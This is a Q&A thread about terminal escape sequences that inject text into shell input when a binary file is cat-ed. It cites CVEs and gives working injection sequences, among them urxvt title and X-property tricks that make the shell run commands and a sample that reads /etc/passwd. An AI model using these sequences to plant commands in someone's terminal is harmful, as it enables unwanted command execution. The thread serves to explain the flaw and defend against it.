116

I often use cat on the console to view the contents of files, and every now and then I accidentally cat a binary file which basically produces gibberish and system beeps. However today I've encountered a situation where the output from the cat utility got redirected to the console input so I got stuff like this:

-bash: 2c: command not found
-bash: 1: command not found
-bash: 1: command not found
-bash: 112: command not found
-bash: 112: command not found
-bash: 1: command not found
-bash: 0x1: command not found
-bash: 2c1: command not found
-bash: 2c: command not found
-bash: 1: command not found
-bash: 1: command not found
-bash: 112: command not found
-bash: 112: command not found
-bash: 1: command not found
-bash: 0x1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found
-bash: 2c1: command not found

...
...

This got me thinking that a specifically crafted binary file could create quite a mess on the system?!... Now I do realize using cat recklessly like this is not particularly smart, but I would actually like to know what is going on here. What characters produce the effect of suddenly dumping the content on standard input...

Note: I was in Mac OS X terminal while doing this, I've actually called diff -a to compare two firmware rom images and print the differences out(I thought there would be just a few bytes of differences but there where almost 8 MB of differences printed to the screen) Later I tried, on purpose, to cat one of the files and got the same effect like I've pasted here.

- UPDATE - - UPDATE - - UPDATE -

I've posted this here late at night yesterday and this morning I tried to replicate the behaviour and I can not. Unfortunately I can not be sure if some escape characters caused the gibberish from the binary to be executed on the console automatically or if at the end of the cat I just got a bunch of characters left(as If I've pasted them) on the command line and I've probably pressed enter accidentally to get a clear line...

When I try to cat the file in question now I get this when it completes(scroll right to see):

D?k(Fli9p?s?HT?78=!g??Ès3?&é??  =??7??K?̓Kü<ö????z(;???????j??>??ö?Ivans-MacBook-Pro:FI9826W-2.11.1.5-20140121 NA ivankovacevic$ 1;2c1;2c1;2;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c;1;1;112;112;1;0x1;2c1;2c;1;1;112;112;1;0x1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c

My actual prompt is:

Ivans-MacBook-Pro:FI9826W-2.11.1.5-20140121 NA ivankovacevic$

Where:

FI9826W-2.11.1.5-20140121 NA

is the current working dir. As you see it was camouflaged in the binary gibberish and I might have pressed enter reflexively or something. This in itself is a bit wrong of cat because obviously my prompt might have been even better "camouflaged." But it is less serious than I initially thought. Although I'm still not 100% sure that it did not execute automatically last night when I tried, because there was also another peculiar thing that happened last night, before this. I've called cat on another very similar file that caused Terminal app to quit with:

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x00007fcb9a3ffffa

Now I'm thinking that maybe a combination of these two events have caused the auto execution of gibberish on the console. But I can not replicate that behaviour again.

The files in question are firmwares for a Foscam IP camera, here are the links:

International site: http://foscam.com/Private/ProductFiles/FI9826W-2.11.1.5-20140120.zip
And then the file inside: FI9826W_app_ver1.11.0.40_OneToAll.bin

calling cat on that one will cause Terminal to quit.

US site: http://foscam.us/downloads/FI9826W-2.11.1.5-20140121%20NA.zip
and then the file: FI9826W_app_ver1.11.0.40_OneToAll_A.bin

cat-ing that one will cause that paste of 1;2c1;2c1;2;2c1;2c1;2c1;2c1;2c1;2c1;2c1;2c.... characters on the command line

xxx
  • 167
  • 8
Ivan Kovacevic
  • 2,099
  • 5
  • 19
  • 21

7 Answers7

80

Yes, it's a potential risk, see CVE-2003-0063, or CVE-2008-2383 or CVE-2010-2713, or CVE-2012-3515 or OSVDB 3881, or CVE-2003-0020 or any of the similar ones listed here... Some more in comments below also.

Update it's not just a potential risk, it's a real risk. rxvt-unicode (versions 2.7—9.19, patched in 9.20) allows read/write access to X window properties, this can enable user-assisted execution of arbitrary commands, this issue has been assigned CVE-2014-3121, more details here https://bugzilla.redhat.com/show_bug.cgi?id=1093287 .

More recently (October 2019) iTerm2 versions up to v3.3.5 were found to have the same class of problem: display of malicious content can enable the integrated tmux and permit command execution, see CVE-2019-9535.

This topic also has good coverage here: https://unix.stackexchange.com/questions/73713/how-safe-is-it-to-cat-an-arbitrary-file and a thorough analysis of the underlying problem from Gilles here: https://unix.stackexchange.com/questions/15101/how-to-avoid-escape-sequence-attacks-in-terminals .


Explanation

What you are observing is a side-effect of how certain escape sequences behave: some of them stuff characters (usually also containing escape sequences) directly into the terminal input buffer. All in the name of backward compatibility, of course. The standard xterm escapes which are described using the term "Report <something>" do this. This behaviour permits programs to query/set terminal (or other) properties "in band" rather than via ioctls or some other API.

As if that wasn't bad enough, some such sequences can contain a newline, which means that whatever is reading from the terminal (your shell) will see what appears to be a complete user command.

Here's a neat way to use this, with bash's read to print an escape (as a prompt) then immediately read and split the reply into variables:

IFS=';' read -sdt -p $'\e[18t' csi8 rows cols
echo rows=$rows cols=$cols

These sequences can vary by terminal, but for rxvt and derived, the graphics query escape includes a newline (example using bash and $'' strings, see doc/rxvtRef.txt in the source)` :

$ echo $'\eGQ'
$ 0
bash: 0: command not found

This escape sends \033G0\n into the terminal input buffer (or digit 1 instead of 0 if you have a graphics-capable rxvt).

So, combine this escape with other sequences which behave similarly:

echo $'\x05' $'\e[>c' $'\e[6n' $'\e[x' $'\eGQ'

for me this causes 11 attempts to run various commands: 1, 2c82, 20710 (my rxvt version string), 0c5, 3R (5 and 3 were the cursor coords), 112 and 0x0.

Exploitable?

With rxvt and most recent terminal emulators you should "only" be able to create a limited set of mostly numeric sequences. In old terminal emulators it was possible (some CVEs listed above) to access the clipboard, the window icon and titlebar text to construct more malicious strings for invocation (one current slight exception is if you set the answerbackString X resource string, but that cannot be directly set using this method). The flaw then is allowing arbitrary read and write access to something that passes for state or storage within escape sequences that stuff data into the input buffer.

rxvt requires compile time changes to activate, but urxvt helpfully has an -insecure command line option that enables some of the more exciting features:

$ echo $'\e]2;;uptime;\x07' $'\e[21;;t' $'\eGQ' 
bash: l: command not found
17:59:41 up 1448 days,  4:13, 16 users,  load average: 0.49, 0.52, 0.48
bash: 0: command not found

The three sequences are:

  1. \e]2;...\x07 set window title;
  2. \e[21;;t query window title, place in input buffer;
  3. \eGQ query graphics capability, which adds \n to input buffer.

Again, depending on terminal, other features such as font size, colors, terminal size, character set, alternate screen buffers and more may be accessible though escapes. Unintended modification of those is at least an inconvenience, if not an outright security problem. Current versions of xterm restrict potentially problematic features via "Allow*" resources.

CVE-2014-3121

Prior to v9.20, urxvt did not also guard read and write access to X properties (mostly used by window managers). Write read access (or more precisely, access to sequences which echo potentially arbitrary strings) now requires the -insecure option.

$ echo $'\e]3;xyzzy=uptime;date +%s;\x07'
$ xprop -id $WINDOWID xyzzy
xyzzy(UTF8_STRING) = 0x75, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x3b, 0x64, 0x61, 0x74, \
0x65, 0x20, 0x2b, 0x25, 0x73, 0x3b

This can be trivially used to stuff arbitrary strings into the terminal input buffer. When the escape sequence to query a property is invoked (along with helpful \eGQ which adds a newline):

 $ echo $'\e]3;?xyzzy\x07' $'\eGQ'
 $ 3;uptime;date +%s;0
 bash: 3: command not found
 17:23:56 up 1474 days,  6:47, 14 users,  load average: 1.02, 1.20, 1.17
 1400603036
 bash: 0: command not found

Multiple commands, preserving whitespace and shell metacharacters. This can be exploited in a variety of ways, starting with cat-ing an untrusted binary of course, further ideas in H.D. Moore's short paper (2003).


Followup

For the escape sequence you ask about: 1;112;112;1;0x1;2 This is: Request Terminal Parameters (DECREQTPARM) and Send Device Attributes :

$ echo $'\e[x' $'\e[0c'
;1;1;112;112;1;0x1;2c

The second one (\e[0c) is the same as ^E (using rxvt). There are some escape sequences in there too. the full sequence written for each is, respectively:

\e[1;1;1;112;112;1;0x
\e[?1;2c
mr.spuratic
  • 7,937
  • 25
  • 37
  • 2
    Good links! Here are some specific Apple ones http://www.cvedetails.com/cve/CVE-2005-1341/ or http://www.cvedetails.com/cve/CVE-2009-1717/ and probably there are more... – Ivan Kovacevic Apr 22 '14 at 22:45
  • Cool update! You said "The current version of a popular terminal emulator has this problem", can you share with us which terminal emulator that is? And who has discovered the vulnerability? You? Friend of a friend? – Ivan Kovacevic Apr 24 '14 at 17:51
  • 3
    I found the issue today (while searching for interesting format strings), no names or details until it's coordinated with the authors. – mr.spuratic Apr 24 '14 at 18:06
  • I totally respect that! I hope however you'll update the info when the authors have provided the fix. And btw. your latest update at the end, which explains the chars I got, is superb. Thanks! Your answer is my favourite one for now... – Ivan Kovacevic Apr 24 '14 at 18:10
  • 2
    Will do. My speculative answer (no OS X machine to hand) on the segfault is withheld for the same reason. – mr.spuratic Apr 24 '14 at 18:13
  • 1
    Damn, I'm dying of curiosity now for both things. Would a http://i.imgur.com/eNoBclw.jpg do? :) – Ivan Kovacevic Apr 24 '14 at 18:24
  • 2
    I am in contact with authors, I will update answer with promised details soon. – mr.spuratic Apr 30 '14 at 00:15
50

Definitively yes.

New add 2020-01-25:

From time I've switched from LATIN-1 encoding to UTF-8 as default encoding in most of my systems, I've found some interresting features around this (there are now two lenght for one string)...

For sample, as I like to play with , I've asked why bash localization won't work with multilines strings. This bash feature present a bug, where workaround consist of using eval. If this is not a security flaw, this could become or produce one...

In every evolutions of almost anything (languages, libraries, tools, protocols, applications, hardware, installers, consoles, etc...) comme new features, with potentially new bugs...

Fortunately, they are as few as they are quickly corrected (near one-day from reveal), but they are!

So definitively yes, stay care!

Correct use of cat command.

As you seem to be using a modern terminal emulator, some escape sequences could be used to modify Keyboard buffer.

There could be proper shell commands injected.

You could use argument -e of cat for safe operation, see man cat.

  -e     equivalent to -vE

  -E, --show-ends
         display $ at end of each line

  -v, --show-nonprinting
         use ^ and M- notation, except for LFD and TAB

Then

$ cat -e suspectfile.raw
$ cat -e suspectfile.raw | less

or under :

$ less < <(cat -e suspectfile.raw)

or even

$ which less cat
/usr/bin/less
/bin/cat
$ rawless() { /usr/bin/less < <(/bin/cat -e "$@");}

or in one line

$ . <(printf 'rawless() { %s < <(%s -e "$@");}\n' $(which less cat))

Remarks

When you read command not found, this implies that something was effectively injected.

The main injection feature that was not removed is the sequence indentify yourself, used in many VT-100 encapsulation.

This sequence is Escape Z which will inject the string 1;2c into your keyboard buffer, which means VT-100 (in AVO convention).

Speaking about cat, you could try:

$ cat <<< $'\033Z'

Or another ANSI sequence: CSI c (Device Attributes):

$ cat <<< $'\033[c'

will print an empty line, but on next line prompted, you will see 1;2c (or maybe with another numbers, depending on terminal used) as if you hitted them:

$ 65;1;9c█

... but with -e switch:

$ cat -e <<< $'\033Z'
^[Z$
$ cat -e <<< $'\033[c'
^[[c$

Where -e => -vE, -v transform \033 into ^[ and -E put a $ sign at end of line (and nothing will be put on next line, you keyboard buffer is not affected).

You may find lot of funny things at VT100 User Guide (like: cat <<< $'\033#8' ;)

(They was modern terminal! In some past... )

Trying using

There is a little bash command for flushing keyboard buffer and get his content:

$ cat <<<$'\033[c';buf='';while read -t .1 -n 1 chr;do
        buf+="$chr"
  done;printf "\n>|%q|<\n" $buf

^[[?65;1;9c
>|$'\E[?65;1;9c'|<

And a little function to test any chain:

$ trySeq() {
    printf -v out "$1"
    echo -n "$out"
    buf=""
    while read -t.1 -n1 char
      do buf+="$char"
    done
    [ "$buf" ] && printf "\r|%q|->|%q|<\e[K\n" "$out" "$buf"
}

So I could try:

$ for seq in $'\e['{c,{1..26}{n,t,x}};do
      trySeq "$seq";done
|$'\E[c'|->|$'\E[?65;1;9c'|<
|$'\E[1x'|->|$'\E[3;1;1;120;120;1;0x'|<
|$'\E[5n'|->|$'\E[0n'|<
...

( Maybe with some harmless effects on your console ;)

Small practical sample

Imagine, some could put something like this in your environment:

$ source <(cat <(printf '%dc() {
 printf "You\\047ve been hitted: your passwd file hold %%d lines\\041\\n" \
      $(wc -l </etc/passwd)
 };\n' {0..100};printf 'alias %s=1c\n' {0..100};))

Then, if you

$ cat <<<$'\e[c'

$ 65;1;9c█

Cursor will stay at end of command prompt line.

From there, if you machinally hit Return instead of Ctrl+c, you will read something like:

$ 65;1;9c
You've been hitted: your passwd file hold 74 lines!
You've been hitted: your passwd file hold 74 lines!
You've been hitted: your passwd file hold 74 lines!
$ █

And now?

From there, unfortunately, there is no standard.

Every virtual terminal implementation could support full ANSI and/or full DEC standard...

But as there are some security issues, many don't...

You could observe some behaviour using one terminal that you wouldn't observe using another...

xterm, linux console, gnome-terminal, konsole, fbterm, Terminal (Mac OS)... the list of terminal emulators is not so short!

And each of them has its own bugs and limitations compared to DEC and ANSI standards.

In pactice, you may find some virtual console that could be more featured than other and where keyboard injection could break your security.

It's one of the reasons because I prefer to use alway same (old) xterm rather than other more featured tools.

  • 11
    Oh? Care to share details? To the extent that it's true, this is a critical security vulnerability in the terminal emulator. – tylerl Apr 22 '14 at 05:49
  • 1
    This is why some of the ANSI escape sequences are generally disabled in modern terminals/emulators. – keshlam Apr 22 '14 at 07:38
  • 6
    cat -e, good advice! I'm still interested if you could maybe expand your answer with an example of those escape sequences to modify the keyboard buffer which could possibly explain this. – Ivan Kovacevic Apr 22 '14 at 12:39
  • 1
    When I type `man cat` all I see is that `-e` is "equivalent to -vE", but no info is given on -vE... – apnorton Apr 22 '14 at 18:35
  • 2
    The convention is that single character flags can be grouped together, so `-vE` is the same as `-v -E`. i.e., the man page is telling you to look at the documentation for the `-v` and `-E` flags which mean "show non-printing characters using `^` and `M-` notation" and "Show line endings as a `$` character", respectively. – Cookyt Apr 22 '14 at 18:42
  • @F. Hauri: Thanks for the Addendum. However as I already mentioned in the comment to the answer from dr jimbob, in Mac OS X's Terminal ESC-Z sequence doesn't output anything but a new-line. CSI-ESC-Z gets that "1;2c". CSI is Control Sequence Introducer: ASCII octal 33(ESC) + left square bracket. So full escape sequence that works for me is: echo $'\033[\033Z'. I found that out purely by looking at the firmware file, didn't find it documented anywhere... – Ivan Kovacevic Apr 22 '14 at 23:54
  • @IvanKovacevic - `echo -e '\x1BZ'` works in Mac OS X 10.9 (as well as linux), Terminal 2.4, with my default terminal settings (declared as xterm-256color, don't allow VT100 application). – dr jimbob Apr 23 '14 at 01:20
  • @dr jimbob: You are correct! But there is something strange happening on Mac(OS X 10.9.2, xterm-256color) and that is why I experienced it as if it was not working. When I type echo -e '\x1BZ' for the first time... it works. If I then press the up key to get the last used command, and issue it again it does not work anymore(only a new-line gets printed). Then only after some time, after I've typed several other regular commands, it starts working again! Really strange... I've also tried it now on Linux, and it works every time! – Ivan Kovacevic Apr 23 '14 at 14:01
  • For reference, PuTTY by default will respond to a Control-E with the string "PuTTY" (but you can make it say something else if you want). Which isn't really a security issue unless someone's listening in on your connection or injecting stuff...in which case, if that's your machine, you already have much bigger problems than someone knowing you use PuTTY. – cHao Apr 24 '14 at 05:25
  • Thank you F. Hauri for your answer! You have put a great effort into it! But in the end I had to choose and mr.spuratic also provided a superb answer. All in all, I believe you will be happy with all the rewarded up-votes! – Ivan Kovacevic Apr 29 '14 at 23:10
  • Hmmm I agree, @mr.spuratic's answer is rich. But I bring useable tools to make tests easier, (hope you've tried it)... Anyway I got my 1st gold medal \@SO with this answer! So it's good! ;-). ( P.S: If some problems with function, maybe playing with timeout (`-t .01`) parameter could help ) – F. Hauri - Give Up GitHub Apr 30 '14 at 00:07
  • wow, a gold badge! I've just noticed. Congratulations! :) You deserve it. As I said already, I saw the effort(in more iterations) that you have put into this answer. Your testing code is really clever! I've had a hard time deciding about the answers, and I wanted to reward both, yours and mr.spuratic's answers. Since you already got so many up-votes(mine included of course). Rewarding mr.spuratic's answer with the bounty and the accepted flag seemed like the best thing to restore balance in the Universe! ;-) – Ivan Kovacevic Apr 30 '14 at 03:01
  • Is there any way to disable such behavior so that I will not accidentally change my shell when catting? – Siyuan Ren Oct 17 '14 at 03:05
  • Not really, but you could use many different terminal implementation. XTerm could be switched between *vt100* and *tektronix* mode, wich have totally different window-manipulation control sequences. – F. Hauri - Give Up GitHub Oct 17 '14 at 03:36
  • Ironically, xterm is probably the least secure of the mainstream ones, and it has _far_ more "features" than most (legacy features that you will never ever need but which are still present, like support for certain old-school hardware). Not to mention, many terminal emulators (like rxvt and urxvt) are just forks of xterm. – forest Dec 14 '17 at 08:23
7

"Real" glass terminals had an escape sequence to print the screen to a printer. They did this by running a command and pipeing the current screen contents to the stdin of the print command.

The command could be configured by another escape sequence.

The classic way of exploiting this was to create files with names that embedded the escape sequence to set the printer command and change it to some script of your choice and then have a 2nd file with the print escape sequence in it.

When someone then ran ls in that directory they would end up running your code. Which was nice if they were the root user!

In theory modern terminal emulators shouldn't do that kind of thing any more.

Terminal.app appears to be based on the NextStep nsterm, so it may have all kinds of weirdness in it.

Maybe try narrowing down which exact bytes are producing the command not found messages?

Looks like there are escape sequences to raise and lower the terminal:

http://the.taoofmac.com/space/apps/Terminal

some more info here:

http://invisible-island.net/ncurses/terminfo.src.html#toc-_Apple__Terminal_app

If you want to send content to a program's stdin,

program -para meters < /path/file.ext
JasperWallace
  • 446
  • 3
  • 5
  • @Ruslan: He means the stdin of the command to which the screen contents are being piped. – jwodder Apr 22 '14 at 16:40
  • 1
    @JasperWallace: Cool info! Examples: To minimize Terminal.app: echo -e '\x1B[2t' To minimize-maximize echo -e '\x1B[2t\x1B[5t' :) – Ivan Kovacevic Apr 22 '14 at 22:23
6

Typically there is no vulnerability, but obviously if you use it wrong, then you could create one.

Printing the contents of a binary file produces beeps because character 7 is the old terminal command to make the machine beep, and some terminal programs still honor that command. But by design, there's nothing there that can hurt you. In the worst case, simply open up a new terminal window to undo any mess that might have been created.

Now, if you somehow redirected the contents of a file to a command shell, that's another matter. You could do this by piping the output of something to /bin/bash (typically frowned upon from a security perspective) or you could have perhaps inadvertently copied and pasted it into your terminal. Also typically ill-advised.

But as long as you don't run the thing, you're fine.

tylerl
  • 82,225
  • 25
  • 148
  • 226
  • 2
    In this case I've just typed: cat . So I did not paste some bogus command in the console, but check my update to the question that I've just wrote. – Ivan Kovacevic Apr 22 '14 at 14:38
4

What you are seeing is xterm control sequences.

Control sequences are activated when they are seen in output in the terminal; e.g., when you cat a file with bytes that are non-printable ASCII.

In your example, the control sequence is ESC Z (bytes 1B 5A) which returns the terminal ID -- as a command in the terminal.

You can try it yourself:

echo -e '\x1BZ'

(Alternatively you can write ESC as \e or Z as \x5A).

There are some other fun ones too:

echo -e '\eF' # move the prompt to the bottom of the terminal.
echo -e '\ec' # Reset the terminal
dr jimbob
  • 38,768
  • 8
  • 92
  • 161
  • Actually echo -e '\x1BZ' in my case just prints out an empty line. However echo -e '\x1B[\x1BZ' prints that "1;2c" on the command line which I was getting repeatedly after cat-ing that firmware binary file. That is and [ which is known as escape sequence, followed by Z. However I have no idea what that 1;2c means. Is that the terminal ID?! – Ivan Kovacevic Apr 22 '14 at 22:18
  • @IvanKovacevic Yes, see my *addendum*. ( My first answer was too quick. sorry ;) – F. Hauri - Give Up GitHub Apr 22 '14 at 23:34
  • 1
    @dr jimbob: I was not right, echo -e '\x1BZ' does work, but it has some strange behaviour on Mac OS X. If I issue it for the first time and delete the outputted characters, then press enter to get a clear new prompt(Because echoing that leaves some gibberish in-front of the prompt line also, or on the back, depends how you look at it). Then if I try to recall the last command with the up key, and call it again, it does not work anymore... Just a new-line gets printed. That is why I initially though it was not working, because I've called it already... On Linux it works regardlessly every time. – Ivan Kovacevic Apr 23 '14 at 02:58
  • And echo -e '\x1B[\x1BZ' also works every time. I suppose the CSI sequence resets it. – Ivan Kovacevic Apr 23 '14 at 03:02
  • 1
    `alias clear="echo -e '\ec'"` Finally, a *clear* in cygwin <3 – Qix - MONICA WAS MISTREATED Apr 24 '14 at 00:45
4

I'm gonna add this info here without actual intention to answer my own question. The characters that can get injected on the command line while printing some other characters, better know as escape sequences, are defined really good on this site(Thanks F. Hauri, for mentioning it):
http://vt100.net/docs/vt100-ug/chapter3.html

Under chapter: Reports


Cursor Position Report

Invoked by ESC [ 6 n
Response is ESC [ Pl ; Pc R
Pl = line number; Pc = column number

Status Report

Invoked by ESC [ 5 n
Response is ESC [ 0 n (terminal ok)
ESC [ 3 n (terminal not ok)

What Are You

Invoked by ESC [ c or ESC [ 0 c
Response is ESC [ ? 1 ; Ps c

Ps is the "option present" parameter with the following meaning:

Ps Meaning
0 Base VT100, no options
1 Processor options (STP)
2 Advanced video option (AVO)
3 AVO and STP
4 Graphics processor option (GPO)
5 GPO and STP
6 GPO and AVO
7 GPO, STP, and AVO

Alternatively invoked by ESC Z (not recommended). Response is the same.


ESC is ASCII decimal 27 or octal 33 or hexadecimal 1B.

So to get for example current cursor position printed out, or better said injected into your existing command line, you would call:

echo -e '\033[6n'

and the output would be something like this:

7;1R

You can move the cursor position with the following escape sequence

echo -e '\033[10;20H'

10 - row 10
20 - column 20

However it's not moving the column position(it does move through rows) because the terminal probably resets it to the beginning of the line. Anyhow, if you query the cursor position right after that it's going to "paste" on the console the set column position:

echo -e '\033[10;20H\033[6n'

output:

0;20R

That's how you can get different outputs injected('pasted') on the console, it is far from any real exploit since this will give only different number combinations that can be outputted, but then again maybe combined with something else. Who knows.

In my case where I've cat-ed the firmware image I got lots of: 1;2c Now I know that it is the "What Are You" report, of what my terminal is, where 2 means: Advanced video option(AVO).

All in all it's definitely better to avoid mindlessly cat-ing any file...
As already suggested(also by F. Hauri), at least use cat -e

Ivan Kovacevic
  • 2,099
  • 5
  • 19
  • 21
-1

There are obvious risks in piping a random file to an interpreter of any kind, but unix isn't set up to protect users from their own stupidity. Simply using cat filename may mess up your display but it shouldn't damage anything.

If you are using cat to view files and identify their type I would suggest that you learn about file ( tells you what the file is ) and less which will warn you if you are looking at binary data, and won't dump a 100Mb installer archive to your console. zless will transparently open gzip files.

paul
  • 1
  • 1
    Piping a random file to an interpreter(i.e. bash) is, of course, hugely dangerous. But it is not what we are discussing here. Only displaying content, with cat, which as history has shown CAN produce damages. Check the answer from mr.spuratic. – Ivan Kovacevic Apr 23 '14 at 14:08
  • To add to paul's answer, it has been said lots of times, yet old habits die hard : don't use cat for this, use less or a text editor. – schaiba Apr 23 '14 at 16:58